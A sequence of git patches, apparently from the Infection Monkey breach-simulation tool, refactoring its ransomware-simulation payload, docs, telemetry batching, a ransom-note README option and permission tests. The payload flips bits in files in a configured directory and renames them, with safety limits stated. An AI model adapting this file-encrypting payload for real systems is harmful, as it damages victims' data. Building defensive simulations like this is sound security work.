Remove RansomwareTelem from vulture_allowlist --- vulture_allowlist.py | 1 - 1 file changed, 1 deletion(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 68acc35e0f6..2c937ee4f35 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -171,7 +171,6 @@ MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:26) import_status # monkey_island\cc\resources\configuration_import.py:19 config_schema # monkey_island\cc\resources\configuration_import.py:25 -RansomwareTelem # monkey/infection_monkey/telemetry/ransomware_telem.py:7 # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From 6773f695ba88bbd514542c84059374fb561c9740 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Jun 2021 15:57:10 -0400 Subject: [PATCH 0913/1360] agent: Use ITelem in send_telemetry() typehint --- .../telemetry/messengers/telemetry_messenger_wrapper.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/telemetry/messengers/telemetry_messenger_wrapper.py b/monkey/infection_monkey/telemetry/messengers/telemetry_messenger_wrapper.py index d00f0dd2397..e436cdd463a 100644 --- a/monkey/infection_monkey/telemetry/messengers/telemetry_messenger_wrapper.py +++ b/monkey/infection_monkey/telemetry/messengers/telemetry_messenger_wrapper.py @@ -1,7 +1,7 @@ -from infection_monkey.telemetry.base_telem import BaseTelem +from infection_monkey.telemetry.i_telem import ITelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger class TelemetryMessengerWrapper(ITelemetryMessenger): - def send_telemetry(self, telemetry: BaseTelem): + def send_telemetry(self, telemetry: ITelem): telemetry.send() From 3ddde83b5c40a4f06d89927c35332cdbd7560f09 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 25 Jun 2021 16:00:49 +0530 Subject: [PATCH 0914/1360] docs: Reword ransomware introductory description Add "only" to clarify that encryption will only take place if a directory is specified. Co-authored-by: Mike Salvatore --- docs/content/reference/ransomware.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/reference/ransomware.md b/docs/content/reference/ransomware.md index 6e6f614d74d..7c263a3e248 100644 --- a/docs/content/reference/ransomware.md +++ b/docs/content/reference/ransomware.md @@ -11,7 +11,7 @@ All actions performed by the encryption routine are designed to be safe for prod environments. To ensure minimum interference and easy recoverability, the ransomware simulation will encrypt -files if the user specifies a directory that contains files that are safe to encrypt. +files only if the user specifies a directory that contains files that are safe to encrypt. If no directory is specified, no files will be encrypted. From f77d0c28c2e761bd1d0d2764ee82ad3148d623d0 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 25 Jun 2021 16:22:59 +0530 Subject: [PATCH 0915/1360] docs: Add note about why ransomware encryption is not recursive and ignores shortcuts and symlinks --- docs/content/reference/ransomware.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/content/reference/ransomware.md b/docs/content/reference/ransomware.md index 7c263a3e248..9eb220c5410 100644 --- a/docs/content/reference/ransomware.md +++ b/docs/content/reference/ransomware.md @@ -32,9 +32,9 @@ All regular files with [relevant extensions](#relevant-file-extensions-for-encry configured directory are attempted to be encrypted during the simulation. The simulation is not recursive, i.e. it will not touch any files in sub-directories of the -configured directory — only appropriate files in the top level of the tree. +configured directory. Symlinks and shortcuts are ignored. -Symlinks and shortcuts are ignored. +These precautions are taken to prevent the monkey from going rogue and accidentally encrypting files that you didn't intend to encrypt. ## Relevant file extensions for encryption From 32026f64a447b79a8e944b6c9cb202bf8dc83bf6 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 25 Jun 2021 16:27:35 +0530 Subject: [PATCH 0916/1360] docs: Change "relevant extensions" to "targeted extensions" in ransomware docs --- docs/content/reference/ransomware.md | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/docs/content/reference/ransomware.md b/docs/content/reference/ransomware.md index 9eb220c5410..77590d0211d 100644 --- a/docs/content/reference/ransomware.md +++ b/docs/content/reference/ransomware.md @@ -28,16 +28,14 @@ This is sufficient for a ransomware simulation as your files are unusuable and a ## Which files are encrypted? -All regular files with [relevant extensions](#relevant-file-extensions-for-encryption) in the -configured directory are attempted to be encrypted during the simulation. +All regular files with [valid extensions](#file-extensions-targeted-for-encryption) in the configured directory are attempted to be encrypted during the simulation. -The simulation is not recursive, i.e. it will not touch any files in sub-directories of the -configured directory. Symlinks and shortcuts are ignored. +The simulation is not recursive, i.e. it will not touch any files in sub-directories of the configured directory. Symlinks and shortcuts are ignored. These precautions are taken to prevent the monkey from going rogue and accidentally encrypting files that you didn't intend to encrypt. -## Relevant file extensions for encryption +## File extensions targeted for encryption Encryption attempts are only performed on regular files with the following extensions. From 61d95f52e1cec14a7d399e331889026c4d14cd7d Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 25 Jun 2021 16:37:50 +0530 Subject: [PATCH 0917/1360] docs: Reword the paragraph describing why the ransomware simulation is good enough --- docs/content/reference/ransomware.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/content/reference/ransomware.md b/docs/content/reference/ransomware.md index 77590d0211d..a8d9b265ed8 100644 --- a/docs/content/reference/ransomware.md +++ b/docs/content/reference/ransomware.md @@ -16,6 +16,7 @@ If no directory is specified, no files will be encrypted. + ## How are the files encrypted? Files are "encrypted" in place with a simple bit flip. Encrypted files are renamed to have @@ -23,7 +24,7 @@ Files are "encrypted" in place with a simple bit flip. Encrypted files are renam This is a safe way to simulate encryption since it is easy to "decrypt" your files. You can simply perform a bit flip on the files again and rename them to remove the appended `.m0nk3y` extension. -This is sufficient for a ransomware simulation as your files are unusuable and are renamed with a different extension, similar to how many ransomwares act. These changes should trigger your security solutions. +This is sufficient to mock a ransomware attack on your network as your files are left unusuable and are renamed with a different extension, similar to the way that many ransomwares act. As this is a simulation, your security solutions should be triggered to notify and prevent these changes from taking place. ## Which files are encrypted? From 76cf8a1bb4414757d052bfc45126f15e8f1e61e9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 25 Jun 2021 09:19:15 -0400 Subject: [PATCH 0918/1360] agent: Wrap ransomware payload build/run in run_ransomware() --- monkey/infection_monkey/monkey.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 122e9e459d0..a70781333fd 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -236,8 +236,7 @@ def start(self): if not self._keep_running: break - telemetry_messenger = TelemetryMessengerWrapper() - RansomewarePayload(WormConfiguration.ransomware, telemetry_messenger).run_payload() + InfectionMonkey.run_ransomware() if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations @@ -467,3 +466,8 @@ def set_default_server(self): def log_arguments(self): arg_string = " ".join([f"{key}: {value}" for key, value in vars(self._opts).items()]) LOG.info(f"Monkey started with arguments: {arg_string}") + + @staticmethod + def run_ransomware(): + telemetry_messenger = TelemetryMessengerWrapper() + RansomewarePayload(WormConfiguration.ransomware, telemetry_messenger).run_payload() From 954cc469cf7cab9c50c18b312fa9741895abd235 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 25 Jun 2021 19:07:32 +0530 Subject: [PATCH 0919/1360] docs: Reword paragaraph about why ransomware simulation is sufficient --- docs/content/reference/ransomware.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/reference/ransomware.md b/docs/content/reference/ransomware.md index a8d9b265ed8..a8f7273ea5b 100644 --- a/docs/content/reference/ransomware.md +++ b/docs/content/reference/ransomware.md @@ -24,7 +24,7 @@ Files are "encrypted" in place with a simple bit flip. Encrypted files are renam This is a safe way to simulate encryption since it is easy to "decrypt" your files. You can simply perform a bit flip on the files again and rename them to remove the appended `.m0nk3y` extension. -This is sufficient to mock a ransomware attack on your network as your files are left unusuable and are renamed with a different extension, similar to the way that many ransomwares act. As this is a simulation, your security solutions should be triggered to notify and prevent these changes from taking place. +This is sufficient to mock a ransomware attack on your network as the data in your files has been manipulated (temporarily leaving them unusuable) and are renamed with a different extension, similar to the way that many ransomwares act. As this is a simulation, your security solutions should be triggered to notify and prevent these changes from taking place. ## Which files are encrypted? From 3d403a92e8d78bd20612dad4b68b8b98bbf6ff4f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 25 Jun 2021 10:18:14 -0400 Subject: [PATCH 0920/1360] agent: Fix incorrect config in ransomware payload --- .../ransomware/ransomware_payload.py | 13 ++++++++++--- .../ransomware/test_ransomware_payload.py | 4 +++- 2 files changed, 13 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 49525902bf0..f46c5ae7259 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -17,10 +17,17 @@ class RansomewarePayload: def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): - LOG.info(f"Windows dir configured for encryption is \"{config['windows_dir']}\"") - LOG.info(f"Linux dir configured for encryption is \"{config['linux_dir']}\"") + target_directories = config["directories"] + LOG.info( + f"Windows dir configured for encryption is \"{target_directories['windows_dir']}\"" + ) + LOG.info(f"Linux dir configured for encryption is \"{target_directories['linux_dir']}\"") - self._target_dir = config["windows_dir"] if is_windows_os() else config["linux_dir"] + self._target_dir = ( + target_directories["windows_dir"] + if is_windows_os() + else target_directories["linux_dir"] + ) self._new_file_extension = EXTENSION self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 138c6000428..35aef048ced 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -41,7 +41,9 @@ def with_extension(filename): @pytest.fixture def ransomware_payload_config(ransomware_target): - return {"linux_dir": str(ransomware_target), "windows_dir": str(ransomware_target)} + return { + "directories": {"linux_dir": str(ransomware_target), "windows_dir": str(ransomware_target)} + } @pytest.fixture From 75a2f1b12eb6cb7a4651d0e92d7e77b49cf51b2b Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 28 Jun 2021 11:56:40 +0530 Subject: [PATCH 0921/1360] island: Use `create_secure_directory()` for custom PBA directory creation --- monkey/monkey_island/cc/services/post_breach_files.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index 94569db3763..8268265a993 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -1,6 +1,7 @@ import logging import os -from pathlib import Path + +from monkey_island.cc.server_utils.file_utils import create_secure_directory logger = logging.getLogger(__name__) @@ -15,7 +16,8 @@ class PostBreachFilesService: @classmethod def initialize(cls, data_dir): cls.DATA_DIR = data_dir - Path(cls.get_custom_pba_directory()).mkdir(mode=0o0700, parents=True, exist_ok=True) + custom_pba_dir = cls.get_custom_pba_directory() + create_secure_directory(custom_pba_dir) @staticmethod def save_file(filename: str, file_contents: bytes): From 7211d59a38a2b600a0ae101f33c97c684004eb49 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 28 Jun 2021 14:05:41 +0530 Subject: [PATCH 0922/1360] tests: Add unit test for custom PBA dir permissions on Windows --- .../cc/services/test_post_breach_files.py | 40 ++++++++++++++++++- 1 file changed, 39 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py index 3c3fe82fe84..eea4ec941f8 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py @@ -2,8 +2,17 @@ import pytest +from monkey_island.cc.server_utils.file_utils import is_windows_os from monkey_island.cc.services.post_breach_files import PostBreachFilesService +if is_windows_os(): + import win32api + import win32security + + FULL_CONTROL = 2032127 + ACE_ACCESS_MODE_GRANT_ACCESS = win32security.GRANT_ACCESS + ACE_INHERIT_OBJECT_AND_CONTAINER = 3 + def raise_(ex): raise ex @@ -33,12 +42,41 @@ def dir_is_empty(dir_path): @pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") -def test_custom_pba_dir_permissions(): +def test_custom_pba_dir_permissions_linux(): st = os.stat(PostBreachFilesService.get_custom_pba_directory()) assert st.st_mode == 0o40700 +def _get_acl_and_sid_from_path(path: str): + sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) + security_descriptor = win32security.GetNamedSecurityInfo( + path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION + ) + acl = security_descriptor.GetSecurityDescriptorDacl() + return acl, sid + + +@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") +def test_custom_pba_dir_permissions_windows(): + pba_dir = PostBreachFilesService.get_custom_pba_directory() + + acl, user_sid = _get_acl_and_sid_from_path(pba_dir) + + assert acl.GetAceCount() == 1 + + ace = acl.GetExplicitEntriesFromAcl()[0] + + ace_access_mode = ace["AccessMode"] + ace_permissions = ace["AccessPermissions"] + ace_inheritance = ace["Inheritance"] + ace_sid = ace["Trustee"]["Identifier"] + + assert ace_sid == user_sid + assert ace_permissions == FULL_CONTROL and ace_access_mode == ACE_ACCESS_MODE_GRANT_ACCESS + assert ace_inheritance == ACE_INHERIT_OBJECT_AND_CONTAINER + + def test_remove_failure(monkeypatch): monkeypatch.setattr(os, "remove", lambda x: raise_(OSError("Permission denied"))) From 7afe0818e549b641f125431c09e2e9271d12035c Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 28 Jun 2021 14:07:06 +0530 Subject: [PATCH 0923/1360] tests: Use `is_windows_os()` while skipping tests in test_post_breach_files.py --- .../monkey_island/cc/services/test_post_breach_files.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py index eea4ec941f8..cc21bd97a1a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py @@ -41,7 +41,7 @@ def dir_is_empty(dir_path): return len(dir_contents) == 0 -@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") +@pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.") def test_custom_pba_dir_permissions_linux(): st = os.stat(PostBreachFilesService.get_custom_pba_directory()) @@ -57,7 +57,7 @@ def _get_acl_and_sid_from_path(path: str): return acl, sid -@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") +@pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") def test_custom_pba_dir_permissions_windows(): pba_dir = PostBreachFilesService.get_custom_pba_directory() From b7c8006f944e8b067cdc6f9ec69b09dd58a709dd Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 25 Jun 2021 17:02:24 +0300 Subject: [PATCH 0924/1360] Add readme to ransomware section of configuration schema --- .../cc/services/config_schema/ransomware.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index 74b5d3d671a..cc043e876c4 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -21,6 +21,18 @@ "using bitflip to simulate ransomware.", }, }, - } + }, + "notifications": { + "title": "Notifications", + "type": "object", + "properties": { + "readme": { + "title": "Create a README.TXT file", + "type": "boolean", + "default": True, + "description": "Creates a README.txt ransomware note on infected systems.", + } + }, + }, }, } From 59efaabd505b458ffe377fdc2eaa80be46810b97 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 09:28:43 -0400 Subject: [PATCH 0925/1360] agent: Catch and log exceptions thrown by the ransomware payload --- monkey/infection_monkey/monkey.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index a70781333fd..bf3ae80a636 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -469,5 +469,8 @@ def log_arguments(self): @staticmethod def run_ransomware(): - telemetry_messenger = TelemetryMessengerWrapper() - RansomewarePayload(WormConfiguration.ransomware, telemetry_messenger).run_payload() + try: + telemetry_messenger = TelemetryMessengerWrapper() + RansomewarePayload(WormConfiguration.ransomware, telemetry_messenger).run_payload() + except Exception as ex: + LOG.error(f"An unexpected error occurred while running the ransomware payload: {ex}") From 2ec020f2764cfe23bf34ac132cdcfd44fa419ac5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 09:29:48 -0400 Subject: [PATCH 0926/1360] agent: Add logging to ransomware payload --- monkey/infection_monkey/ransomware/ransomware_payload.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index f46c5ae7259..da300a17577 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -37,6 +37,7 @@ def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): self._telemetry_messenger = telemetry_messenger def run_payload(self): + LOG.info("Running ransomware payload") file_list = self._find_files() self._encrypt_files(file_list) @@ -52,10 +53,12 @@ def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exc results = [] for filepath in file_list: try: + LOG.debug(f"Encrypting {filepath}") self._encryptor.encrypt_file_in_place(filepath) self._add_extension(filepath) self._send_telemetry(filepath, "") except Exception as ex: + LOG.warning(f"Error encrypting {filepath}: {ex}") self._send_telemetry(filepath, str(ex)) return results From f2a940a4e0a8a9ff7368db1d33f117c76530cfd9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Jun 2021 12:08:23 -0400 Subject: [PATCH 0927/1360] agent: Add IBatchableTelem IBatchableTelem adds two methods to the ITelem interface. These methods allow a telemetry object to mange batches of telemetry entries, rather than just one. --- .../telemetry/i_batchable_telem.py | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 monkey/infection_monkey/telemetry/i_batchable_telem.py diff --git a/monkey/infection_monkey/telemetry/i_batchable_telem.py b/monkey/infection_monkey/telemetry/i_batchable_telem.py new file mode 100644 index 00000000000..3cb82fd4425 --- /dev/null +++ b/monkey/infection_monkey/telemetry/i_batchable_telem.py @@ -0,0 +1,16 @@ +from __future__ import annotations + +import abc +from typing import Iterable + +from infection_monkey.telemetry.i_telem import ITelem + + +class IBatchableTelem(ITelem, metaclass=abc.ABCMeta): + @abc.abstractmethod + def get_telemetry_entries(self) -> Iterable: + pass + + @abc.abstractmethod + def add_telemetry_to_batch(self, telemetry: IBatchableTelem): + pass From 8e40e44263dd9765e6f3a785fc71d38b1f878589 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Jun 2021 12:09:30 -0400 Subject: [PATCH 0928/1360] agent: Add BatchableTelemMixin Adds an implementation as a mixin of the two methods specified by IBatchableTelem. --- .../telemetry/batchable_telem_mixin.py | 22 +++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 monkey/infection_monkey/telemetry/batchable_telem_mixin.py diff --git a/monkey/infection_monkey/telemetry/batchable_telem_mixin.py b/monkey/infection_monkey/telemetry/batchable_telem_mixin.py new file mode 100644 index 00000000000..4189f0cf021 --- /dev/null +++ b/monkey/infection_monkey/telemetry/batchable_telem_mixin.py @@ -0,0 +1,22 @@ +from typing import Iterable + +from infection_monkey.telemetry.i_batchable_telem import IBatchableTelem + + +class BatchableTelemMixin: + """ + Implements the IBatchableTelem interface methods using a list. + """ + + @property + def _telemetry_entries(self): + if not hasattr(self, "_list"): + self._list = [] + + return self._list + + def get_telemetry_entries(self) -> Iterable: + return self._telemetry_entries + + def add_telemetry_to_batch(self, telemetry: IBatchableTelem): + self._telemetry_entries.extend(telemetry.get_telemetry_entries()) From a0b43a17a2d37d4b5e72d9e86d738632c3329667 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Jun 2021 12:19:43 -0400 Subject: [PATCH 0929/1360] agent: Implement IBatchableTelem in RansomwareTelem This allows encryption attempt telmetries to be batched into one telemetry object so they can be sent to the island in batches. --- .../telemetry/ransomware_telem.py | 13 ++++++++----- .../ransomware/test_ransomware_payload.py | 12 ++++++------ .../telemetry/test_ransomware_telem.py | 19 +++++++++---------- 3 files changed, 23 insertions(+), 21 deletions(-) diff --git a/monkey/infection_monkey/telemetry/ransomware_telem.py b/monkey/infection_monkey/telemetry/ransomware_telem.py index c56e8337c2d..64cce13c2ae 100644 --- a/monkey/infection_monkey/telemetry/ransomware_telem.py +++ b/monkey/infection_monkey/telemetry/ransomware_telem.py @@ -1,11 +1,13 @@ -from typing import List, Tuple +from typing import Tuple from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem +from infection_monkey.telemetry.batchable_telem_mixin import BatchableTelemMixin +from infection_monkey.telemetry.i_batchable_telem import IBatchableTelem -class RansomwareTelem(BaseTelem): - def __init__(self, attempts: List[Tuple[str, str]]): +class RansomwareTelem(BatchableTelemMixin, IBatchableTelem, BaseTelem): + def __init__(self, entry: Tuple[str, str]): """ Ransomware telemetry constructor :param attempts: List of tuples with each tuple containing the path @@ -14,9 +16,10 @@ def __init__(self, attempts: List[Tuple[str, str]]): containing the directory path and error string. """ super().__init__() - self.attempts = attempts + + self._telemetry_entries.append(entry) telem_category = TelemCategoryEnum.RANSOMWARE def get_data(self): - return {"ransomware_attempts": self.attempts} + return {"ransomware_attempts": self._telemetry_entries} diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 35aef048ced..86fb5c33683 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -148,10 +148,10 @@ def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): telem_1 = telemetry_messenger_spy.telemetries[0] telem_2 = telemetry_messenger_spy.telemetries[1] - assert ALL_ZEROS_PDF in telem_1.get_data()["ransomware_attempts"][0] - assert telem_1.get_data()["ransomware_attempts"][1] == "" - assert TEST_KEYBOARD_TXT in telem_2.get_data()["ransomware_attempts"][0] - assert telem_2.get_data()["ransomware_attempts"][1] == "" + assert ALL_ZEROS_PDF in telem_1.get_data()["ransomware_attempts"][0][0] + assert telem_1.get_data()["ransomware_attempts"][0][1] == "" + assert TEST_KEYBOARD_TXT in telem_2.get_data()["ransomware_attempts"][0][0] + assert telem_2.get_data()["ransomware_attempts"][0][1] == "" def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_spy): @@ -164,5 +164,5 @@ def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_ ransomware_payload.run_payload() telem_1 = telemetry_messenger_spy.telemetries[0] - assert "/file/not/exist" in telem_1.get_data()["ransomware_attempts"][0] - assert "No such file or directory" in telem_1.get_data()["ransomware_attempts"][1] + assert "/file/not/exist" in telem_1.get_data()["ransomware_attempts"][0][0] + assert "No such file or directory" in telem_1.get_data()["ransomware_attempts"][0][1] diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_ransomware_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_ransomware_telem.py index 4994c928763..e2e674ecd5f 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_ransomware_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_ransomware_telem.py @@ -1,20 +1,19 @@ import json -import pytest - from infection_monkey.telemetry.ransomware_telem import RansomwareTelem -ATTEMPTS = [("", "")] +ENCRYPTION_ATTEMPTS = [("", ""), ("", "")] + +def test_ransomware_telem_send(spy_send_telemetry): + ransomware_telem_1 = RansomwareTelem(ENCRYPTION_ATTEMPTS[0]) + ransomware_telem_2 = RansomwareTelem(ENCRYPTION_ATTEMPTS[1]) -@pytest.fixture -def ransomware_telem_test_instance(): - return RansomwareTelem(ATTEMPTS) + ransomware_telem_1.add_telemetry_to_batch(ransomware_telem_2) + ransomware_telem_1.send() + expected_data = {"ransomware_attempts": ENCRYPTION_ATTEMPTS} + expected_data = json.dumps(expected_data, cls=ransomware_telem_1.json_encoder) -def test_ransomware_telem_send(ransomware_telem_test_instance, spy_send_telemetry): - ransomware_telem_test_instance.send() - expected_data = {"ransomware_attempts": ATTEMPTS} - expected_data = json.dumps(expected_data, cls=ransomware_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "ransomware" From e549a4f8f40b8bad3daececbdde46e0aa4f1b018 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 27 Jun 2021 18:11:42 -0400 Subject: [PATCH 0930/1360] agent: Rename TelemetryMessengerWrapper The term "wrapper" is sometimes used as synonym for the decorator pattern, whereas this class is a textbook adapter. Use the term "adapter" instead of "wrapper" and rename "TelemetryMessengerWrapper" to "LegacyTelemetryMessengerAdapter", as this class servers as an adapter between the new ITelemetryMessenger interface and the (soon to be) legacy way of sending telemetry. --- monkey/infection_monkey/monkey.py | 6 +++--- ...er_wrapper.py => legacy_telemetry_messenger_adapter.py} | 7 ++++++- 2 files changed, 9 insertions(+), 4 deletions(-) rename monkey/infection_monkey/telemetry/messengers/{telemetry_messenger_wrapper.py => legacy_telemetry_messenger_adapter.py} (52%) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index bf3ae80a636..845f754f7b1 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -25,8 +25,8 @@ from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem -from infection_monkey.telemetry.messengers.telemetry_messenger_wrapper import ( - TelemetryMessengerWrapper, +from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( + LegacyTelemetryMessengerAdapter, ) from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.state_telem import StateTelem @@ -470,7 +470,7 @@ def log_arguments(self): @staticmethod def run_ransomware(): try: - telemetry_messenger = TelemetryMessengerWrapper() + telemetry_messenger = LegacyTelemetryMessengerAdapter() RansomewarePayload(WormConfiguration.ransomware, telemetry_messenger).run_payload() except Exception as ex: LOG.error(f"An unexpected error occurred while running the ransomware payload: {ex}") diff --git a/monkey/infection_monkey/telemetry/messengers/telemetry_messenger_wrapper.py b/monkey/infection_monkey/telemetry/messengers/legacy_telemetry_messenger_adapter.py similarity index 52% rename from monkey/infection_monkey/telemetry/messengers/telemetry_messenger_wrapper.py rename to monkey/infection_monkey/telemetry/messengers/legacy_telemetry_messenger_adapter.py index e436cdd463a..cbbe03595c8 100644 --- a/monkey/infection_monkey/telemetry/messengers/telemetry_messenger_wrapper.py +++ b/monkey/infection_monkey/telemetry/messengers/legacy_telemetry_messenger_adapter.py @@ -2,6 +2,11 @@ from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger -class TelemetryMessengerWrapper(ITelemetryMessenger): +class LegacyTelemetryMessengerAdapter(ITelemetryMessenger): + """ + Provides an adapter between modules that require an ITelemetryMessenger and the + legacy method for sending telemetry. + """ + def send_telemetry(self, telemetry: ITelem): telemetry.send() From 691e01e9c147010b907caf05ede94463110a2666 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 27 Jun 2021 19:35:27 -0400 Subject: [PATCH 0931/1360] tests: Move telemetry_messenger_spy to infection_monkey/conftest.py --- .../unit_tests/infection_monkey/conftest.py | 17 +++++++++++++++++ .../ransomware/test_ransomware_payload.py | 15 --------------- 2 files changed, 17 insertions(+), 15 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/conftest.py diff --git a/monkey/tests/unit_tests/infection_monkey/conftest.py b/monkey/tests/unit_tests/infection_monkey/conftest.py new file mode 100644 index 00000000000..533572f9886 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/conftest.py @@ -0,0 +1,17 @@ +import pytest + +from infection_monkey.telemetry.i_telem import ITelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + + +class TelemetryMessengerSpy(ITelemetryMessenger): + def __init__(self): + self.telemetries = [] + + def send_telemetry(self, telemetry: ITelem): + self.telemetries.append(telemetry) + + +@pytest.fixture +def telemetry_messenger_spy(): + return TelemetryMessengerSpy() diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 86fb5c33683..f26463ed1e2 100644 --- 